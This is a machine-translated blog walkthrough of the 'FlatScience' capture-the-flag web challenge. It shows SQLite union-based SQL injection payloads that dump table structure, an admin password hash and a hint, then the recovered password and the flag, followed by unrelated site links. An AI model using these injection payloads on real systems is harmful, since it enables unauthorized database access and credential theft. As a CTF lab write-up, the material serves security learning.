当前位置:网站首页>[attack and defense world web] difficulty four-star 12 point advanced question: flatscience
[attack and defense world web] difficulty four-star 12 point advanced question: flatscience
2022-07-23 21:01:00 【Black zone (rise)】
Two 、FlatScience
How to solve the problem :
1、 Understand the source code , Database Injection , encryption
The process :
I prefer to watch it first robots.txt file
/admin.php Interface
/login.php Interface
Ctrl+U Open source
Found out ?debug
Found new source code
Start the code audit
Discovery database is SQLite3( And MySQL There is a difference ,sqlite_master Relevant information is stored in the table
)type/name/tbl_name/rootpage/sql It records the information when the user creates the table
And the annotation is --
Also found the input usr Injection of being
There's no filtering , It can be spliced into the database for execution
Use bp Intercept , And inject
( stay bp In the injection )
Determine the number of fields
1' order by 3 --
( Report errors )
1' order by 2 --
( Echo normal )
So the number of fields is 2
Judge echo
1' union select 1,2 --
The echo bit is the second
![]()
check sql Fields in the table
CREATE+TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29
After decoding
CREATE+TABLE+Users(id+int+primary+key,name+varchar(255),password+varchar(255),hint+varchar(255))
Field has :id name password hint
Construct query name
payload:
1' union select id, name from Users--
admin
Construct query password
payload:
1' union select id, password from Users--
3fab54a50e770d830c0416df817567662a9dc85c
Construct query hint
payload:
1' union select id, hint from Users--
my+fav+word+in+my+fav+paper%3F%21
After decoding
my+fav+word+in+my+fav+paper?!
We get the first data in the table
id=1
name=admin
password=3fab54a50e770d830c0416df817567662a9dc85c(MD5 Is message digest encryption , It may not work out )
hint=my+fav+word+in+my+fav+paper?!( It's in his paper )
![]()
Decrypted for
ThinJerboaSalz!
That word is Salz
ThinJerboaSalz! subtract Salz
So the password is ThinJerboa
stay /admin.php Page to login
flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}
边栏推荐
猜你喜欢

WinDbg practice -- Introduction

信号的理解

CDR插件开发之Addon插件002 - 用1分钟编写一个可双击运行的EXE程序

OpenLayers实例-Advanced Mapbox Vector Tiles-高级Mapbox矢量贴图

【Kernel】驱动开发学习之Platform平台总线模型

高数下|三重积分的计算1|高数叔|手写笔记

OpenCV图像处理——拉普拉斯金字塔

Unity解决动画不可用:The AnimationClip ‘XXX‘ used by the Animation component ‘XXX‘ must be marked as Legacy.

2022.7.11mySQL作业

Car rental vehicle management system based on jsp+ssm+mysql car rental
随机推荐
Himawari-8 data introduction and download method
【Scratch画图100例】图46-scratch绘制花朵 少儿编程 scratch编程画图案例教程 考级比赛画图集训案例
WinDbg practice -- Introduction
2022.7.11mySQL作业
Stm32c8t6 driving lidar actual combat (II)
1062 Talent and Virtue
Jetson nano recording stepping on the pit (it will definitely solve your problem)
Major optimization of openim - Message loading on demand, consistent cache, uniapp Publishing
-2021最新对比学习(Contrastive Learning)相关必读论文整理分享
OpenLayers实例-Advanced Mapbox Vector Tiles-高级Mapbox矢量贴图
"Pulse" to the future! Huawei cloud Mrs helps smooth migration to the cloud
Interpretation of Flink catalog
Quick connect selection recommendation: what are the potential opportunities in the Korean market?
Microservice architecture vs single service architecture [what can Huawei cloud service do in the microservice mode]
《迷失》stray工人帽子获得方法 工人安全帽在哪里?
win7-vs2012下安装.net frame work 的过程图文详解
深入浅出边缘云 | 1. 概述
第三届SLAM技术论坛-吴毅红教授
LeetCode热题 HOT52-100
一文读懂研发效能洞察的五大流动指标


















